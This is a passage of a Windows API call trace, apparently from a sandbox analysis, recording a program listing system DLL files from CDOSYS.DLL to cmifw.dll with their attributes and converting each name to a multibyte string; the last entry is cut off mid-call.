WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.713] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.713] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x94c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0038.713] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.713] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x94c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0038.714] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x94c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0038.714] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.714] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x94c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0038.714] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.714] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.714] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.714] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.715] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.715] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x94c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0038.715] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x94c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0038.715] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0038.715] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.715] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.715] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.715] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.716] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.716] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.716] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x94c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0038.716] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, 